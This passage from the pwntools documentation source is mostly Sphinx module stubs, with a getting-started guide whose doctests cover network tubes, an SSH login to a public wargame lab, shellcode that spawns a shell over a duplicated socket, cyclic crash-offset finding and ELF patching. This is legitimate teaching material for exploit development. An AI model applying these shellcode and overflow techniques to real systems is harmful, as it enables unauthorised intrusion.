    "content": ".. testsetup:: *\n\n   from pwn import *\n\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\nGetting Started\n========================\n\nTo get your feet wet with pwntools, let's first go through a few examples.\n\nWhen writing exploits, pwntools generally follows the \"kitchen sink\" approach.\n\n    >>> from pwn import *\n\nThis imports a lot of functionality into the global namespace.  You can now\nassemble, disassemble, pack, unpack, and many other things with a single function.\n\nA full list of everything that is imported is available on :doc:`globals`.\n\n\nTutorials\n---------\n\nA series of tutorials for Pwntools exists online, at\nhttps://github.com/Gallopsled/pwntools-tutorial#readme\n\n\nMaking Connections\n------------------\n\nYou need to talk to the challenge binary in order to pwn it, right?\npwntools makes this stupid simple with its :mod:`pwnlib.tubes` module.\n\nThis exposes a standard interface to talk to processes, sockets, serial ports,\nand all manner of things, along with some nifty helpers for common tasks.\nFor example, remote connections via :mod:`pwnlib.tubes.remote`.\n\n::\n\n    >>> conn = remote('ftp.ubuntu.com',21)\n    >>> conn.recvline() # doctest: +ELLIPSIS\n    b'220 ...'\n    >>> conn.send(b'USER anonymous\\r\\n')\n    >>> conn.recvuntil(b' ', drop=True)\n    b'331'\n    >>> conn.recvline()\n    b'Please specify the password.\\r\\n'\n    >>> conn.close()\n\nIt's also easy to spin up a listener\n\n    >>> l = listen()\n    >>> r = remote('localhost', l.lport)\n    >>> c = l.wait_for_connection()\n    >>> r.send(b'hello')\n    >>> c.recv()\n    b'hello'\n\nInteracting with processes is easy thanks to :mod:`pwnlib.tubes.process`.\n\n::\n\n    >>> sh = process('/bin/sh')\n    >>> sh.sendline(b'sleep 3; echo hello world;')\n    >>> sh.recvline(timeout=1)\n    b''\n    >>> sh.recvline(timeout=5)\n    b'hello world\\n'\n    >>> sh.close()\n\nNot only can you interact with processes programmatically, but you can\nactually **interact** with processes.\n\n    >>> sh.interactive() # doctest: +SKIP\n    $ whoami\n    user\n\nThere's even an SSH module for when you've got to SSH into a box to perform\na local/setuid exploit with :mod:`pwnlib.tubes.ssh`.  You can quickly spawn\nprocesses and grab the output, or spawn a process and interact with it like\na ``process`` tube.\n\n::\n\n    >>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)\n    >>> shell['whoami']\n    b'bandit0'\n    >>> shell.download_file('/etc/motd')\n    >>> sh = shell.run('sh')\n    >>> sh.sendline(b'sleep 3; echo hello world;') # doctest: +SKIP\n    >>> sh.recvline(timeout=1)\n    b''\n    >>> sh.recvline(timeout=5)\n    b'hello world\\n'\n    >>> shell.close()\n\nPacking Integers\n------------------\n\nA common task for exploit-writing is converting between integers as Python\nsees them, and their representation as a sequence of bytes.\nUsually folks resort to the built-in ``struct`` module.\n\npwntools makes this easier with :mod:`pwnlib.util.packing`.  No more remembering\nunpacking codes, and littering your code with helper routines.\n\n    >>> import struct\n    >>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)\n    True\n    >>> leet = unhex('37130000')\n    >>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]\n    True\n\nThe packing/unpacking operations are defined for many common bit-widths.\n\n    >>> u8(b'A') == 0x41\n    True\n\nSetting the Target Architecture and OS\n--------------------------------------\n\nThe target architecture can generally be specified as an argument to the routine that requires it.\n\n    >>> asm('nop')\n    b'\\x90'\n    >>> asm('nop', arch='arm')\n    b'\\x00\\xf0 \\xe3'\n\nHowever, it can also be set once in the global ``context``.  The operating system, word size, and endianness can also be set here.\n\n    >>> context.arch      = 'i386'\n    >>> context.os        = 'linux'\n    >>> context.endian    = 'little'\n    >>> context.word_size = 32\n\nAdditionally, you can use a shorthand to set all of the values at once.\n\n    >>> asm('nop')\n    b'\\x90'\n    >>> context(arch='arm', os='linux', endian='big', word_size=32)\n    >>> asm('nop')\n    b'\\xe3 \\xf0\\x00'\n\n.. doctest::\n   :hide:\n\n    >>> context.clear()\n\nSetting Logging Verbosity\n-------------------------\n\nYou can control the verbosity of the standard pwntools logging via ``context``.\n\nFor example, setting\n\n    >>> context.log_level = 'debug'\n\nWill cause all of the data sent and received by a ``tube`` to be printed to the screen.\n\n.. doctest::\n   :hide:\n\n    >>> context.clear()\n\nAssembly and Disassembly\n------------------------\n\nNever again will you need to run some already-assembled pile of shellcode\nfrom the internet!  The :mod:`pwnlib.asm` module is full of awesome.\n\n    >>> enhex(asm('mov eax, 0'))\n    'b800000000'\n\nBut if you do, it's easy to suss out!\n\n    >>> print(disasm(unhex('6a0258cd80ebf9')))\n       0:   6a 02                   push   0x2\n       2:   58                      pop    eax\n       3:   cd 80                   int    0x80\n       5:   eb f9                   jmp    0x0\n\nHowever, you shouldn't even need to write your own shellcode most of the\ntime!  pwntools comes with the :mod:`pwnlib.shellcraft` module, which is\nloaded with useful time-saving shellcodes.\n\nLet's say that we want to `setreuid(getuid(), getuid())` followed by `dup`ing\nfile descriptor 4 to `stdin`, `stdout`, and `stderr`, and then pop a shell!\n\n    >>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS\n    '6a3158cd80...'\n\n\nMisc Tools\n----------------------\n\nNever write another hexdump, thanks to :mod:`pwnlib.util.fiddling`.\n\n\nFind offsets in your buffer that cause a crash, thanks to :mod:`pwnlib.cyclic`.\n\n    >>> cyclic(20)\n    b'aaaabaaacaaadaaaeaaa'\n    >>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166))  at crash time\n    >>> cyclic_find(b'faab')\n    120\n\nELF Manipulation\n----------------\n\nStop hard-coding things!  Look them up at runtime with :mod:`pwnlib.elf`.\n\n    >>> e = ELF('/bin/cat')\n    >>> print(hex(e.address)) #doctest: +SKIP\n    0x400000\n    >>> print(hex(e.symbols['write'])) #doctest: +SKIP\n    0x401680\n    >>> print(hex(e.got['write'])) #doctest: +SKIP\n    0x60b070\n    >>> print(hex(e.plt['write'])) #doctest: +SKIP\n    0x401680\n\nYou can even patch and save the files.\n\n    >>> e = ELF('/bin/cat')\n    >>> e.read(e.address, 4)\n    b'\\x7fELF'\n    >>> e.asm(e.address, 'ret')\n    >>> e.save('/tmp/quiet-cat')\n    >>> disasm(open('/tmp/quiet-cat','rb').read(1))\n    '   0:   c3                      ret'\n\n"
  },
  {
    "path": "docs/source/libc/glibc.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n\n:mod:`pwnlib.libc.glibc` --- Convenient Functions for Glibc\n===========================================================\n\n.. automodule:: pwnlib.libc.glibc\n   :members:\n"
  },
  {
    "path": "docs/source/libc.rst",
    "content": ":mod:`pwnlib.libc` --- Convenient Functions for Libc Implementations\n====================================================================\n\nSubmodules\n----------\n\n.. toctree::\n   :glob:\n\n   libc/*\n"
  },
  {
    "path": "docs/source/libcdb.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   from pwnlib.libcdb import *\n\n   # TODO: Remove global POSIX flag\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\n:mod:`pwnlib.libcdb` --- Libc Database\n===========================================\n\n.. automodule:: pwnlib.libcdb\n   :members:\n"
  },
  {
    "path": "docs/source/log.rst",
    "content": ":mod:`pwnlib.log` --- Logging stuff\n===================================\n\n.. automodule:: pwnlib.log\n   :members: getLogger, install_default_handler, rootlogger\n\n.. autoclass:: pwnlib.log.Progress\n   :members:\n   :member-order: bysource\n\n.. autoclass:: pwnlib.log.Logger\n   :members:\n   :member-order: bysource\n\n.. autoclass:: pwnlib.log.Handler\n   :members:\n   :member-order: bysource\n\n.. autoclass:: pwnlib.log.Formatter\n   :members:\n   :member-order: bysource\n"
  },
  {
    "path": "docs/source/memleak.rst",
    "content": ".. testsetup:: *\n\n    from pwn import *\n\n:mod:`pwnlib.memleak` --- Helper class for leaking memory\n=========================================================\n\n.. automodule:: pwnlib.memleak\n    :members:\n"
  },
  {
    "path": "docs/source/protocols.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n\n\n:mod:`pwnlib.protocols.adb` --- Protocol implementations\n========================================================\n\n.. automodule:: pwnlib.protocols.adb\n   :members:"
  },
  {
    "path": "docs/source/qemu.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n\n   # TODO: Remove global POSIX flag\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\n\n:mod:`pwnlib.qemu` --- QEMU Utilities\n==========================================\n\n.. automodule:: pwnlib.qemu\n   :members:\n"
  },
  {
    "path": "docs/source/regsort.rst",
    "content": ".. testsetup:: *\n\n    from pwnlib.regsort import *\n\n:mod:`pwnlib.regsort` --- Register sorting\n===========================================================\n\n.. automodule:: pwnlib.regsort\n   :members:\n"
  },
  {
    "path": "docs/source/replacements.rst",
    "content": ":mod:`pwnlib.replacements` --- Replacements for various functions\n=================================================================\n\n.. automodule:: pwnlib.replacements\n   :members:\n"
  },
  {
    "path": "docs/source/rop/ret2dlresolve.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   import tempfile\n\n:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve\n========================================================\n\n.. automodule:: pwnlib.rop.ret2dlresolve\n   :members:\n"
  },
  {
    "path": "docs/source/rop/rop.rst",
    "content": ".. testsetup:: *\n\n   import time\n   from glob import glob\n\n   from pwnlib.asm import asm\n   from pwnlib import constants\n   from pwnlib.context import context\n   from pwnlib.elf import ELF\n   from pwnlib.rop import ROP\n   from pwnlib.rop.call import Call, AppendedArgument\n   from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT\n   from pwnlib.util.packing import *\n   from pwnlib.util.fiddling import *\n   from pwnlib.tubes.process import process\n   from pwnlib import shellcraft\n   from pwnlib.util.misc import which\n   import pwnlib.data\n\n   context.clear()\n\n   # TODO: Remove global LINUX flag\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']\n\n\n:mod:`pwnlib.rop.rop` --- Return Oriented Programming\n==========================================================\n\n.. automodule:: pwnlib.rop.rop\n   :members:\n"
  },
  {
    "path": "docs/source/rop/srop.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.rop.srop import *\n\n   from pwnlib import constants\n   from pwnlib import shellcraft\n   from pwnlib.elf import ELF\n   from pwnlib.tubes.process import process\n\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']\n\n:mod:`pwnlib.rop.srop` --- Sigreturn Oriented Programming\n==========================================================\n\n.. automodule:: pwnlib.rop.srop\n   :members:\n"
  },
  {
    "path": "docs/source/rop.rst",
    "content": ":mod:`pwnlib.rop` --- Return Oriented Programming\n=================================================\n\nSubmodules\n----------\n\n.. toctree::\n   :glob:\n\n   rop/*\n"
  },
  {
    "path": "docs/source/runner.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.runner import *\n   from pwnlib.asm import asm\n\n   # TODO: Remove global POSIX flag\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\n:mod:`pwnlib.runner` --- Running Shellcode\n===========================================\n\n.. automodule:: pwnlib.runner\n   :members:\n"
  },
  {
    "path": "docs/source/shellcraft/aarch64.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   context.clear(arch='aarch64')\n\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']\n\n:mod:`pwnlib.shellcraft.aarch64` --- Shellcode for AArch64\n===========================================================\n\n:mod:`pwnlib.shellcraft.aarch64`\n--------------------------------\n\n.. automodule:: pwnlib.shellcraft.aarch64\n   :members:\n\n:mod:`pwnlib.shellcraft.aarch64.linux`\n--------------------------------------\n\n.. automodule:: pwnlib.shellcraft.aarch64.linux\n   :members:\n"
  },
  {
    "path": "docs/source/shellcraft/amd64.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   context.clear(arch='amd64')\n\n   # TODO: POSIX/WINDOWS shellcode test\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']\n\n:mod:`pwnlib.shellcraft.amd64` --- Shellcode for AMD64\n===========================================================\n\n:mod:`pwnlib.shellcraft.amd64`\n---------------------------------------\n\n.. automodule:: pwnlib.shellcraft.amd64\n   :members:\n\n:mod:`pwnlib.shellcraft.amd64.linux`\n---------------------------------------\n\n.. automodule:: pwnlib.shellcraft.amd64.linux\n   :members:\n\n:mod:`pwnlib.shellcraft.amd64.windows`\n---------------------------------------\n\n.. automodule:: pwnlib.shellcraft.amd64.windows\n   :members:\n"
  },
  {
    "path": "docs/source/shellcraft/arm.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   context.clear(arch='arm')\n\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']\n\n:mod:`pwnlib.shellcraft.arm` --- Shellcode for ARM\n===========================================================\n\n:mod:`pwnlib.shellcraft.arm`\n-----------------------------\n\n.. automodule:: pwnlib.shellcraft.arm\n   :members:\n\n:mod:`pwnlib.shellcraft.arm.linux`\n-----------------------------------\n\n.. automodule:: pwnlib.shellcraft.arm.linux\n   :members:\n"
  },
  {
    "path": "docs/source/shellcraft/common.rst",
    "content": ":mod:`pwnlib.shellcraft.common` --- Shellcode common to all architecture\n========================================================================\n\n.. automodule:: pwnlib.shellcraft.common\n   :members:\n"
  },
  {
    "path": "docs/source/shellcraft/i386.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   context.clear(arch='i386')\n\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\n:mod:`pwnlib.shellcraft.i386` --- Shellcode for Intel 80386\n===========================================================\n\n:mod:`pwnlib.shellcraft.i386`\n-----------------------------\n\n.. automodule:: pwnlib.shellcraft.i386\n   :members:\n\n:mod:`pwnlib.shellcraft.i386.linux`\n-----------------------------------\n\n.. automodule:: pwnlib.shellcraft.i386.linux\n   :members:\n\n:mod:`pwnlib.shellcraft.i386.freebsd`\n-------------------------------------\n\n.. automodule:: pwnlib.shellcraft.i386.freebsd\n   :members:\n"
  },
  {
    "path": "docs/source/shellcraft/loongarch64.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   context.clear(arch='loongarch64')\n\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']\n\n:mod:`pwnlib.shellcraft.loongarch64` --- Shellcode for LoongArch64\n==================================================================\n\n:mod:`pwnlib.shellcraft.loongarch64`\n------------------------------------\n\n.. automodule:: pwnlib.shellcraft.loongarch64\n   :members:\n\n:mod:`pwnlib.shellcraft.loongarch64.linux`\n------------------------------------------\n\n.. automodule:: pwnlib.shellcraft.loongarch64.linux\n   :members:\n"
  },
  {
    "path": "docs/source/shellcraft/mips.rst",
    "content": ".. testsetup:: *\n\n   import tempfile\n\n   from pwnlib import shellcraft\n\n   from pwnlib.asm import asm\n   from pwnlib.context import context\n   from pwnlib.runner import run_assembly\n   from pwnlib.util.fiddling import enhex\n   from pwnlib.util.misc import write\n\n   context.clear(arch='mips')\n\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']\n\n:mod:`pwnlib.shellcraft.mips` --- Shellcode for MIPS\n===========================================================\n\n:mod:`pwnlib.shellcraft.mips`\n-----------------------------\n\n.. automodule:: pwnlib.shellcraft.mips\n   :members:\n\n:mod:`pwnlib.shellcraft.mips.linux`\n-----------------------------------\n\n.. automodule:: pwnlib.shellcraft.mips.linux\n   :members:\n"
  },
  {
    "path": "docs/source/shellcraft/riscv64.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   context.clear(arch='riscv64')\n\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']\n\n:mod:`pwnlib.shellcraft.riscv64` --- Shellcode for RISCV64\n==========================================================\n\n:mod:`pwnlib.shellcraft.riscv64`\n--------------------------------\n\n.. automodule:: pwnlib.shellcraft.riscv64\n   :members:\n\n:mod:`pwnlib.shellcraft.riscv64.linux`\n--------------------------------------\n\n.. automodule:: pwnlib.shellcraft.riscv64.linux\n   :members:\n"
  },
  {
    "path": "docs/source/shellcraft/thumb.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   context.clear(arch='thumb')\n\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']\n\n:mod:`pwnlib.shellcraft.thumb` --- Shellcode for Thumb Mode\n===========================================================\n\n:mod:`pwnlib.shellcraft.thumb`\n-------------------------------\n\n.. automodule:: pwnlib.shellcraft.thumb\n   :members:\n\n:mod:`pwnlib.shellcraft.thumb.linux`\n---------------------------------------\n\n.. automodule:: pwnlib.shellcraft.thumb.linux\n   :members:\n"
  },
  {
    "path": "docs/source/shellcraft.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib import shellcraft\n\n   # TODO: Remove global POSIX flag\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\n:mod:`pwnlib.shellcraft` --- Shellcode generation\n=================================================\n\n.. automodule:: pwnlib.shellcraft\n\n.. TODO:\n\n   Write a guide to adding more shellcode.\n\nSubmodules\n----------\n\n.. toctree::\n   :glob:\n\n   shellcraft/*\n"
  },
  {
    "path": "docs/source/term/readline.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.term.readline import *\n   import io\n\n:mod:`pwnlib.term.readline` --- Terminal nice readline\n======================================================\n\n.. automodule:: pwnlib.term.readline\n   :members:\n"
  },
  {
    "path": "docs/source/term.rst",
    "content": ":mod:`pwnlib.term` --- Terminal handling\n========================================\n\n.. automodule:: pwnlib.term\n   :members:\n\nTerm Modules\n-------------------\n\n.. toctree::\n    term/readline\n"
  },
  {
    "path": "docs/source/testexample.rst",
    "content": ".. testsetup:: *\n\n   import os\n   from pwnlib.testexample import add\n\n:mod:`pwnlib.testexample` --- Example Test Module\n==================================================\n\n.. automodule:: pwnlib.testexample\n   :members:\n"
  },
  {
    "path": "docs/source/timeout.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.context import context\n   from pwnlib.timeout import Timeout\n   import time\n\n:mod:`pwnlib.timeout` --- Timeout handling\n============================================\n\n.. automodule:: pwnlib.timeout\n   :members:\n"
  },
  {
    "path": "docs/source/tubes/buffer.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.tubes.buffer import *\n\n:mod:`pwnlib.tubes.buffer` --- buffer implementation for tubes\n==============================================================\n\n.. automodule:: pwnlib.tubes.buffer\n   :members:\n"
  },
  {
    "path": "docs/source/tubes/processes.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n\n   # TODO: Remove global POSIX flag\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\n:mod:`pwnlib.tubes.process` --- Processes\n===========================================================\n\n.. automodule:: pwnlib.tubes.process\n\n  .. autoclass:: pwnlib.tubes.process.process\n     :members:\n     :show-inheritance:\n"
  },
  {
    "path": "docs/source/tubes/serial.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n\n   # TODO: Remove global POSIX flag\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\n:mod:`pwnlib.tubes.serialtube` --- Serial Ports\n===========================================================\n\n.. automodule:: pwnlib.tubes.serialtube\n\n   .. autoclass:: pwnlib.tubes.serialtube.serialtube\n      :members:\n"
  },
  {
    "path": "docs/source/tubes/sockets.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   from pwnlib.tubes.server import server\n\n:mod:`pwnlib.tubes.sock` --- Sockets\n===========================================================\n\n\n.. automodule:: pwnlib.tubes.sock\n\n   .. autoclass:: pwnlib.tubes.sock.sock()\n      :show-inheritance:\n\n\n.. automodule:: pwnlib.tubes.remote\n\n   .. autoclass:: pwnlib.tubes.remote.remote\n      :members:\n      :show-inheritance:\n\n.. automodule:: pwnlib.tubes.listen\n\n   .. autoclass:: pwnlib.tubes.listen.listen\n      :members:\n      :show-inheritance:\n\n.. automodule:: pwnlib.tubes.server\n\n   .. autoclass:: pwnlib.tubes.server.server\n      :members:\n      :show-inheritance:\n"
  },
  {
    "path": "docs/source/tubes/ssh.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n\n   # TODO: Remove global POSIX flag\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\n:mod:`pwnlib.tubes.ssh` --- SSH\n===========================================================\n\n.. automodule:: pwnlib.tubes.ssh\n\n   .. autoclass:: pwnlib.tubes.ssh.ssh\n      :members:\n\n   .. autoclass:: pwnlib.tubes.ssh.ssh_channel()\n      :members: kill, poll, interactive\n      :show-inheritance:\n\n   .. autoclass:: pwnlib.tubes.ssh.ssh_process\n      :members:\n      :show-inheritance:\n\n   .. autoclass:: pwnlib.tubes.ssh.ssh_connecter()\n      :show-inheritance:\n\n   .. autoclass:: pwnlib.tubes.ssh.ssh_listener()\n      :show-inheritance:\n"
  },
  {
    "path": "docs/source/tubes.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n\n:mod:`pwnlib.tubes` --- Talking to the World!\n=============================================\n\n.. automodule:: pwnlib.tubes\n\n\nTypes of Tubes\n-------------------\n\n.. toctree::\n    :maxdepth: 3\n    :glob:\n\n    tubes/*\n\n\n:mod:`pwnlib.tubes.tube` --- Common Functionality\n-------------------------------------------------\n\n\n.. automodule:: pwnlib.tubes.tube\n\n  .. autoclass:: pwnlib.tubes.tube.tube()\n     :members:\n     :exclude-members: recv_raw, send_raw, settimeout_raw,\n                       can_recv_raw, shutdown_raw, connected_raw,\n"
  },
  {
    "path": "docs/source/ui.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   import io\n\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\n:mod:`pwnlib.ui` --- Functions for user interaction\n===================================================\n\n.. automodule:: pwnlib.ui\n   :members:\n"
  },
  {
    "path": "docs/source/update.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   from pwnlib.update import *\n\n:mod:`pwnlib.update` --- Updating Pwntools\n===================================================\n\n.. automodule:: pwnlib.update\n   :members:\n"
  },
  {
    "path": "docs/source/useragents.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.useragents import *\n\n:mod:`pwnlib.useragents` --- A database of useragent strings\n============================================================\n\n.. automodule:: pwnlib.useragents\n   :members:\n"
  },
  {
    "path": "docs/source/util/crc.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.util.crc import *\n\n\n:mod:`pwnlib.util.crc` --- Calculating CRC-sums\n===============================================\n\n.. automodule:: pwnlib.util.crc\n   :members:\n"
  },
  {
    "path": "docs/source/util/cyclic.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   from pwnlib.util.cyclic import *\n\n\n:mod:`pwnlib.util.cyclic` --- Generation of unique sequences\n============================================================\n\n.. automodule:: pwnlib.util.cyclic\n   :members:\n"
  },
  {
    "path": "docs/source/util/fiddling.rst",
    "content": ".. testsetup:: *\n\n    from pwn import *\n    from pwnlib.util.fiddling import *\n\n\n:mod:`pwnlib.util.fiddling` --- Utilities bit fiddling\n======================================================\n\n.. automodule:: pwnlib.util.fiddling\n   :members:\n"
  },
  {
    "path": "docs/source/util/getdents.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.util.getdents import *\n   from pwnlib.util.fiddling import unhex\n\n\n:mod:`pwnlib.util.getdents` --- Linux binary directory listing\n==============================================================\n\n.. automodule:: pwnlib.util.getdents\n   :members:\n"
  },
  {
    "path": "docs/source/util/hashes.rst",
    "content": ":mod:`pwnlib.util.hashes` --- Hashing functions\n===============================================\n\n.. automodule:: pwnlib.util.hashes\n   :members:\n"
  },
  {
    "path": "docs/source/util/iters.rst",
    "content": ".. testsetup:: *\n\n   import string, operator\n   from pwnlib.util.iters import *\n\n\n:mod:`pwnlib.util.iters` --- Extension of standard module :mod:`itertools`\n==========================================================================\n\n.. automodule:: pwnlib.util.iters\n   :members:\n   :exclude-members:\n     chain                                  ,\n     combinations                           ,\n     combinations_with_replacement          ,\n     compress                               ,\n     count                                  ,\n     cycle                                  ,\n     dropwhile                              ,\n     filter                                 ,\n     filterfalse                            ,\n     groupby                                ,\n     islice                                 ,\n     map                                    ,\n     permutations                           ,\n     product                                ,\n     repeat                                 ,\n     starmap                                ,\n     takewhile                              ,\n     tee                                    ,\n     zip                                    ,\n     zip_longest\n\n.. function:: chain\n\n   Alias for :func:`itertools.chain`.\n\n.. function:: combinations\n\n   Alias for :func:`itertools.combinations`\n\n.. function:: combinations_with_replacement\n\n   Alias for :func:`itertools.combinations_with_replacement`\n\n.. function:: compress\n\n   Alias for :func:`itertools.compress`\n\n.. function:: count\n\n   Alias for :func:`itertools.count`\n\n.. function:: cycle\n\n   Alias for :func:`itertools.cycle`\n\n.. function:: dropwhile\n\n   Alias for :func:`itertools.dropwhile`\n\n.. function:: groupby\n\n   Alias for :func:`itertools.groupby`\n\n.. function:: filter\n\n   Alias for python3-style :func:`filter`\n\n.. function:: filterfalse\n\n   Alias for :func:`itertools.filterfalse`\n\n.. function:: map\n\n   Alias for python3-style :func:`map`\n\n.. function:: islice\n\n   Alias for :func:`itertools.islice`\n\n.. function:: zip\n\n   Alias for python3-style :func:`zip`\n\n.. function:: zip_longest\n\n   Alias for :func:`itertools.zip_longest`\n\n.. function:: permutations\n\n   Alias for :func:`itertools.permutations`\n\n.. function:: product\n\n   Alias for :func:`itertools.product`\n\n.. function:: repeat\n\n   Alias for :func:`itertools.repeat`\n\n.. function:: starmap\n\n   Alias for :func:`itertools.starmap`\n\n.. function:: takewhile\n\n   Alias for :func:`itertools.takewhile`\n\n.. function:: tee\n\n   Alias for :func:`itertools.tee`\n\n"
  },
  {
    "path": "docs/source/util/lists.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.util.lists import *\n\n:mod:`pwnlib.util.lists` --- Operations on lists\n================================================\n\n.. automodule:: pwnlib.util.lists\n   :members:\n"
  },
  {
    "path": "docs/source/util/misc.rst",
    "content": ".. testsetup:: *\n\n   from pprint import pprint\n   from pwnlib.util.misc import *\n   import os, subprocess\n\n:mod:`pwnlib.util.misc` --- We could not fit it any other place\n===============================================================\n\n.. automodule:: pwnlib.util.misc\n   :members:\n"
  },
  {
    "path": "docs/source/util/net.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.util.net import *\n\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']\n\n:mod:`pwnlib.util.net` --- Networking interfaces\n===================================================\n\n.. automodule:: pwnlib.util.net\n   :members:\n"
  },
  {
    "path": "docs/source/util/packing.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.util.packing import *\n\n\n:mod:`pwnlib.util.packing` --- Packing and unpacking of strings\n===============================================================\n\n.. automodule:: pwnlib.util.packing\n   :members:\n"
  },
  {
    "path": "docs/source/util/proc.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.util.proc import *\n   from pwnlib.tubes.process import process\n   import os, sys\n\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']\n\n\n:mod:`pwnlib.util.proc` --- Working with ``/proc/``\n===================================================\n\n.. automodule:: pwnlib.util.proc\n   :members:\n"
  },
  {
    "path": "docs/source/util/safeeval.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.util.safeeval import *\n   _get_opcodes = pwnlib.util.safeeval._get_opcodes\n\n\n:mod:`pwnlib.util.safeeval` --- Safe evaluation of python code\n==============================================================\n\n.. automodule:: pwnlib.util.safeeval\n   :members:\n"
  },
  {
    "path": "docs/source/util/sh_string.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   test = pwnlib.util.sh_string.test\n\n:mod:`pwnlib.util.sh_string` --- Shell Expansion is Hard\n===============================================================\n\n.. automodule:: pwnlib.util.sh_string\n   :members:\n"
  },
  {
    "path": "docs/source/util/web.rst",
    "content": ".. testsetup:: *\n\n   import tempfile\n\n   from pwnlib.context import context\n   from pwnlib.util.web import *\n\n:mod:`pwnlib.util.web` --- Utilities for working with the WWW\n=============================================================\n\n.. automodule:: pwnlib.util.web\n   :members:\n"
  },
  {
    "path": "docs/source/windbg.rst",
    "content": ".. testsetup:: *\r\n\r\n    from pwn import *\r\n\r\n:mod:`pwnlib.windbg` --- Working with WinDbg\r\n============================================\r\n\r\n.. automodule:: pwnlib.windbg\r\n   :members:"
  },
  {
    "path": "examples/README.md",
    "content": "# Examples\nWhile these examples should all work, they are not very representative of\nthe pwntools project.\n\nWe have a plan to create a separate repository with examples, primarily\nexploits. Until we do so, we recommend new users to look at\nhttps://docs.pwntools.com, as this is a better overview of our features.\n\nIn no particular order the docstrings for each example:\n\n* `args.py`\n```\nWhen not in lib-mode (import `pwn` rather than `pwnlib`) we parse the\ncommandline for variables definitions.  A variable definition has the form::\n\n  <var>=<val>\n\nwhere ``<var>`` contains only uppercase letters, digits and underscores and\ndoesn't start with a digit.\n\nTry running this example with::\n\n  $ python args.py RHOST=localhost RPORT=1337\n```\n* `asm.py`\n```\nExample showing the interface to `pwnlib.asm.asm` and `pwnlib.shellcraft`.\n```\n* `attach.py`\n```\nExample showing `pwnlib.gdb.attach()`\n```\n* `clean_and_log.py`\n```\nUse case for `pwnlib.tubes.tube.clean_and_log`.\n\nSometimes you will have a solution to a challenge but you don't know what it\nwill look like when you get the flag.  Sometimes that will leave you with a\ntop-level exception, no flag, and angry team members.\n\nSolution:\n 1. Always run wireshark or tcpdump.  Always.\n 2. Register <your socket>.clean or <your socket>.clean_and_log to run at exit.\n```\n* `indented.py`\n```\nWhen running in term-mode (import `pwn` rather than `pwnlib`, stdout is a TTY\nand not running in a REPL), we can do proper indentation where lines too long to\nfit on a screen are split into multiple individually indented lines.\n\nToo see the difference try running 